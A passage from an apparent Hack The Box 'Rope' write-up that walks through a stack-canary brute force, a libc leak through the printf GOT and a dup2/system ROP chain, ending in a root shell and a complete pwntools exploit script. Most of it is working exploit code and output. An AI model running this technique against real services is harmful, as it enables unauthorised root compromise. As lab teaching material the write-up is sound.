print('leak :' + hex(leak))
libc_base = leak - printf_offset
print('libc_base:' + hex(libc_base))
io.close()
Since we leaked the value of the printf GOT
entry, we need to subtract the printf
function offset in order to get the libc base address. Notice that we are currently using the libc version from our local machine and must adjust these values to fit the remote machine. The offset can for example be determined by using objdump
(-T
: display dynamic symbol table):
root@kali:~/htb/boxes/rope/loot# ldd contact
linux-vdso.so.1 (0x00007fff729b8000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fefe4160000)
/lib64/ld-linux-x86-64.so.2 (0x00007fefe4341000)
root@kali:~/htb/boxes/rope/loot# objdump -T /lib/x86_64-linux-gnu/libc.so.6 | grep ' printf$'
0000000000054b40 g DF .text 00000000000000c8 GLIBC_2.2.5 printf
Running the script additionally yields the image base address as well as the libc base address:
root@kali:~/htb/boxes/rope# ./bruteAll.py
canary : 0x24d291a4243ec800
rbp : 0x7ffe9b7ee560
ret_addr: 0x559adf4ba513
img_base: 0x559adf4b9000
leak :0x7f58e3f0eb40
libc_base:0x7f58e3eba000
Final Exploit
Now we have all the information we need to forge our final exploit. Since we are connected to the process via a socket, we need to bind stdin
and stdout
to our connection in order to interact with a shell spawned by calling system
. This can be done by using the dup2
function:
dup2(socket_fd, 0);
dup2(socket_fd, 1);
system("/bin/sh");
Accordingly our ROP-chain for the final exploit looks like this:
...
# exploit
dup2_offset = 0xec1f0
execve_offset = 0xc8020
system_offset = 0x46ff0
binsh_offset = 0x183cee
"""dup2_offset = 0x1109a0
execve_offset = 0xe4e30
system_offset = 0x4f440
binsh_offset = 0x1b3e9a"""
expl = 'A' * 56
expl += p64(canary)
expl += p64(rbp)
# dup2(socket_fd, 0)
expl += p64(img_base+pop_rsi_r15)
expl += p64(0)*2
expl += p64(libc_base+dup2_offset)
# dup2(socket_fd, 1)
expl += p64(img_base+pop_rsi_r15)
expl += p64(1)+p64(0)
expl += p64(libc_base+dup2_offset)
# system("/bin/sh")
expl += p64(img_base+pop_rsi_r15)
expl += p64(0)*2
expl += p64(img_base+pop_rdx)
expl += p64(0)
expl += p64(img_base+pop_rdi)
expl += p64(libc_base+binsh_offset)
expl += p64(libc_base+system_offset)
io = remote(rhost, rport)
io.send(expl)
io.interactive()
Let’s verify that the exploit is working against our local machine:
root@kali:~/htb/boxes/rope# ./expl.py
found byte: 0x69
found byte: 0xfe
found byte: 0xba
...
canary : 0x76d6e733bafe6900
rbp : 0x7fff44fa9b00
ret_addr: 0x555e62f43562
img_base: 0x555e62f42000
leak :0x7f24af82ab40
libc_base:0x7f24af7d6000
Please enter the message you want to send to admin:
$ id
uid=0(root) gid=0(root) groups=0(root)
Great 🙂
In order to adjust the exploit for the actual target, we need to grab the 64bit libc version from it, which is not a big afford since we already have ssh access with the user r4j
:
root@kali:~/htb/boxes/rope/loot# scp -i id_rsa_r4j r4j@10.10.10.148:/lib/x86_64-linux-gnu/libc.so.6 ./victim_libc.so.6
libc.so.6
Now we need to adjust the libc offsets within the script and run it against the target. In order to do this, we forward the local port 1337
on our machine to the target host using ssh:
root@kali:~/htb/boxes/rope/loot# ssh -L 1337:127.0.0.1:1337 r4j@10.10.10.148 -i id_rsa_r4j
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-52-generic x86_64)
...
r4j@rope:~$
If we now execute the script, it runs against the target:
root@kali:~/htb/boxes/rope# ./expl.py
canary : 0xf653dbec3273f500
rbp : 0x7fff653b1420
ret_addr: 0x55d013913562
img_base: 0x55d01391204f
Traceback (most recent call last):
File "./bruteAll.py", line 74, in <module>
leak = u(io.recv(8))
File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 78, in recv
return self._recv(numb, timeout) or ''
File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 156, in _recv
if not self.buffer and not self._fillbuffer(timeout):
File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 126, in _fillbuffer
data = self.recv_raw(self.buffer.get_fill_size())
File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/sock.py", line 54, in recv_raw
raise EOFError
EOFError
Ouch. This didn’t work. The value for img_base
doesn’t look correct as the last three nibbles should be zero. Since the environment of our local machine is slightly different than the target, the bruteforce of the return address yielded a different offset within the function, which sends the message "Done."
. Thus we only need to adjust this offset:
#img_base = ret_addr - 0x1513
img_base = ret_addr - 0x1562
If we now rerun the script, we get a shell:
root@kali:~/htb/boxes/rope# ./finalExpl.py
canary : 0xf653dbec3273f500
rbp : 0x7fff653b1420
ret_addr: 0x55d013913562
img_base: 0x55d013912000
leak :0x7f3e30704e80
libc_base:0x7f3e306a0000
Please enter the message you want to send to admin:
$ id
uid=0(root) gid=0(root) groups=0(root)
$ ls -al
total 56
drwx------ 7 root root 4096 Jul 8 13:04 .
drwxr-xr-x 25 root root 4096 Jun 19 16:25 ..
drwxr-xr-x 2 root root 4096 Jun 19 19:06 bak
lrwxrwxrwx 1 root root 9 Jun 19 17:15 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
drwx------ 2 root root 4096 Jun 19 19:13 .cache
drwx------ 3 root root 4096 Jun 19 19:13 .gnupg
drwxr-xr-x 3 root root 4096 Jun 19 17:32 .local
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw------- 1 root root 33 Jun 19 19:21 root.txt
-rw-r--r-- 1 root root 66 Jun 20 06:07 .selected_editor
drwx------ 2 root root 4096 Jun 19 15:06 .ssh
-rw------- 1 root root 11133 Jul 8 13:04 .viminfo
$ cat root.txt
1c77 ... (output truncated)
Here is the final exploit script:
#!/usr/bin/env python
from pwn import *
import time
context.log_level = 21 # disable connection log
rhost = '127.0.0.1'
rport = 1337
brute_str = '\x00'
expl = 'A' * 56
while (len(brute_str) < 24):
for i in range(256):
fail = False
io = remote(rhost, rport)
io.send(expl+brute_str+chr(i))
try:
r = io.recvuntil('Done.\n', timeout=1.0)
if (len(r) == 0): fail = True # timeout
except: fail = True # EOF
io.close()
if (fail):
if (i == 255):
print('bruteforcing failed')
quit()
continue
print('found byte: ' + hex(i))
brute_str += chr(i)
io.close()
break
u = make_unpacker(64, endian='little', sign='unsigned')
canary = u(brute_str[:8])
rbp = u(brute_str[8:16])
ret_addr = u(brute_str[16:])
print('canary : ' + hex(canary))
print('rbp : ' + hex(rbp))
print('ret_addr: ' + hex(ret_addr))
img_base = ret_addr - 0x1562
print('img_base: ' + hex(img_base))
pop_rdi = 0x164b
pop_rsi_r15 = 0x1649
pop_rdx = 0x1265
write = 0x154e
printf_got = 0x4058
printf_offset = 0x64e80
# leak libc address
expl = 'A' * 56
expl += p64(canary)
expl += p64(rbp)
expl += p64(img_base+pop_rdx)
expl += p64(8)
expl += p64(img_base+pop_rsi_r15)
expl += p64(img_base+printf_got)
expl += p64(0)
expl += p64(img_base+write)
io = remote(rhost, rport)
io.send(expl)
io.recvuntil('admin:\n')
leak = u(io.recv(8))
print('leak :' + hex(leak))
libc_base = leak - printf_offset
print('libc_base:' + hex(libc_base))
io.close()
# exploit
dup2_offset = 0x1109a0
execve_offset = 0xe4e30
system_offset = 0x4f440
binsh_offset = 0x1b3e9a
expl = 'A' * 56
expl += p64(canary)
expl += p64(rbp)
# dup2(socket_fd, 0)
expl += p64(img_base+pop_rsi_r15)
expl += p64(0)*2
expl += p64(libc_base+dup2_offset)
# dup2(socket_fd, 1)
expl += p64(img_base+pop_rsi_r15)
expl += p64(1)+p64(0)
expl += p64(libc_base+dup2_offset)
# system("/bin/sh")
expl += p64(img_base+pop_rsi_r15)
expl += p64(0)*2
expl += p64(img_base+pop_rdx)
expl += p64(0)
expl += p64(img_base+pop_rdi)
expl += p64(libc_base+binsh_offset)
expl += p64(libc_base+system_offset)
io = remote(rhost, rport)
io.send(expl)
io.interactive()
That’s it. Thanks for reading the article 🙂